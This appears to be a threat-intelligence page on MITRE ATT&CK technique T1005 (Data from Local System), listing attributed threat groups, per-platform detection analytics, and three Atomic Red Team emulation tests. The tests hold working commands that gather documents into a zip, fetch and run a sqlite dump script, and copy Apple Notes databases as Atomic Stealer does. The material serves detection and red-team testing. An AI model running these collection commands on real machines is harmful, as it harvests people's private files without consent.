tfMITRE ATT&CK technique

Data from Local System T1005

Tactic: Collection
Platforms: ESXi, Linux, macOS, Network Devices, Windows
Version: 1.8
Created: 31 May 2017
Last modified: 12 May 2026
Contributors: William Cain; Austin Clark, @c2defense; Liran Ravich, CardinalOps

Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 2%

Threat groups98th percentile · 98% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 1%

Campaigns99th percentile · 99% of ATT&CK techniques have this many campaigns recorded or fewer.

169

Tools & malwareTop 2%

Tools & malware98th percentile · 98% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 12%

Detection rules88th percentile · 88% of ATT&CK techniques have this many detection rules written or fewer.

Data from Local System MITRE reference T1005

Top 2%of all ATT&CK techniques for number of groups

46 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

TeamPCPG1056 ↗

Has stolen source code from victim environments including Mistral AI.1

created 2026-07-161 referenceaka PCPCat

VOID MANTICOREG1055 ↗

Has collected cached data and files from within the victim environment.1 2 3

created 2026-04-203 referencesaka COBALT MYSTIQUE

MirrorFaceG1054 ↗

Gathered data and files of interest from victim's systems.1

created 2026-04-171 referenceaka Earth Kasha

RedCurlG1039 ↗

Has collected data from the local disk of compromised hosts.1 2

created 2024-09-232 references

AgriusG1030 ↗

Gathered data from database and other critical servers in victim environments, then used wiping mechanisms as an anti-analysis and anti-forensics mechanism.1

created 2024-05-211 referenceaka Pink Sandstorm

ToddyCatG1022 ↗

Has run scripts to collect documents from targeted hosts.1

created 2024-01-031 reference

All 46 groups for this technique · 6 newest in this preview

Offense vs defense T1005

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 14Sigma rules (cumulative) · 15Splunk ESCU (cumulative) · 7

first rule: 2019 Q3 · 14 of 15 campaigns plotted (Night Dragon (dated 2009) falls before the 2016 window)

Data from Local System detection strategy DET0380

MITRE names one behaviour worth catching for this technique and breaks it into 5 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection of Local Data Collection Prior to Exfiltration

Enterprise

5 platforms

AN1070 · Windows

Adversaries collecting local files via PowerShell, WMI, or direct file API calls often include recursive file listings, targeted file reads, and temporary file staging.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Security	EventCode=4688
File CreationDC0039	WinEventLog:Sysmon	EventCode=11

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TargetFilePathRegex	Allows tuning for file extensions or paths of sensitive data (e.g., .xls, .db, *.pdf).
ParentProcessFilter	Used to scope monitoring to suspicious parent/child process trees like PowerShell or WMI spawning file reads.

AN1071 · Linux

Adversaries using bash scripts or tools to recursively enumerate user home directories, config files, or SSH keys.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	auditd:SYSCALL	execve
File AccessDC0055	auditd:SYSCALL	open

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TimeWindow	Time span to correlate multiple file access events indicative of scripted or bulk access.
ScriptToolName	List of tools (e.g., `find`, `grep`, `tar`, `scp`) that may be benign but are context-sensitive.

AN1072 · macOS

Adversary use of bash/zsh or AppleScript to locate files and exfil targets like user keychains or documents.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	macos:unifiedlog	process:spawn
File AccessDC0055	fs:fsusage	read/write

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
UserContext	Useful for excluding known admin or scheduled jobs.
TargetVolume	Focus monitoring on removable drives or external paths.

AN1073 · Network Devices

Collection of device configuration via CLI commands (e.g., show running-config, copy flash, more), often followed by TFTP/SCP transfers.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Command ExecutionDC0064	networkdevice:cli	command logging

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
CommandScope	Defines list of configuration or diagnostic commands to monitor.
AuthenticatedUserList	Helps reduce false positives by whitelisting known admins.

AN1074 · ESXi

Adversaries accessing datastore or configuration files via vim-cmd, esxcli, or SCP to extract logs, VMs, or host configurations.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
File AccessDC0055	esxis:vmkernel	Datastore Access
Command ExecutionDC0064	esxi:hostd	Command Execution

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
AccessPathRegex	Regex for filtering targeted VM paths or files like .vmdk, .vmx.
InteractiveShellUsage	Tune to distinguish between interactive and script-driven data access.

Tests3ExecutorsPowerShell 1 · bash 1 · sh 1Need elevation0 of 3Have prerequisites1Have cleanup3Platformswindows, linux, macos

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Search files of interest and save them to a single zip file (Windows)

windows

PowerShell

—

Yes

This test searches for files of certain extensions and saves them to a single zip file prior to extraction.

Input arguments

Name	Type	Default	Description
file_extensions	string	.doc, .docx, .txt	List of file extensions to be searched and zipped, separated by comma and space
starting_directory	Path	C:\Users	Path to starting directory for the search
output_zip_folder_path	Path	PathToAtomicsFolder\..\ExternalPayloads\T1005	Path to directory for saving the generated zip file

Attack command

$startingDirectory = "#{starting_directory}"
$outputZip = "#{output_zip_folder_path}"
$fileExtensionsString = "#{file_extensions}" 
$fileExtensions = $fileExtensionsString -split ", "

New-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null

Function Search-Files {
  param (
    [string]$directory
  )
  $files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {
    $fileExtensions -contains $_.Extension.ToLower()
  }
  return $files
}

$foundFiles = Search-Files -directory $startingDirectory
if ($foundFiles.Count -gt 0) {
  $foundFilePaths = $foundFiles.FullName
  Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZip\data.zip"

  Write-Host "Zip file created: $outputZip\data.zip"
  } else {
      Write-Host "No files found with the specified extensions."
  }

Cleanup command

Remove-Item -Path  $outputZip\data.zip -Force

GUIDbf91fda4-d310-4a46-8fd2-98aed7ff30bc

Find and dump sqlite databases (Linux)

linux

bash

—

Yes

An adversary may know/assume that the user of a system uses sqlite databases which contain interest and sensitive data. In this test we download two databases and a sqlite dump script, then run a find command to find & dump the database content.

Input arguments

Name	Type	Default	Description
remote_url	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1005/src	url of remote payload

Attack command

cd $HOME
curl -O #{remote_url}/art
curl -O #{remote_url}/gta.db
curl -O #{remote_url}/sqlite_dump.sh
chmod +x sqlite_dump.sh
find . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' \;

Cleanup command

rm -f $HOME/.art
rm -f $HOME/gta.db
rm -f $HOME/sqlite_dump.sh

Prerequisite

Check if running on a Debian based machine.

Check

if [ -x "$(command -v sqlite3)" ]; then echo "sqlite3 is installed"; else echo "sqlite3 is NOT installed"; exit 1; fi
if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi
if [ -x "$(command -v strings)" ]; then echo "strings is installed"; else echo "strings is NOT installed"; exit 1; fi

Satisfy

if grep -iq "debian\|ubuntu\|kali\|mint" /usr/lib/os-release; then apt update && apt install -y binutils curl sqlite3; fi
if grep -iq "rhel\|fedora\|centos" /usr/lib/os-release; then yum update -y && yum install -y binutils curl sqlite-devel; fi

GUID65b39735-b31f-4f4f-945d-e7d8b729c840

Copy Apple Notes database files using AppleScript

macos

—

Yes

This command will copy Apple Notes database files using AppleScript as seen in Atomic Stealer.

Input arguments

Name	Type	Default	Description
destination_path	path	/private/tmp	Specify the path to copy the database files into.

Attack command

osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'

Cleanup command

rm "#{destination_path}/NoteStore.sqlite*"

GUID9ce60aeb-e8b6-43d6-a901-69d0d79a8d91

Tests from Atomic Red Team (MIT licence) · technique definition

Data from Local System detections T1005

22 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 12%of all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs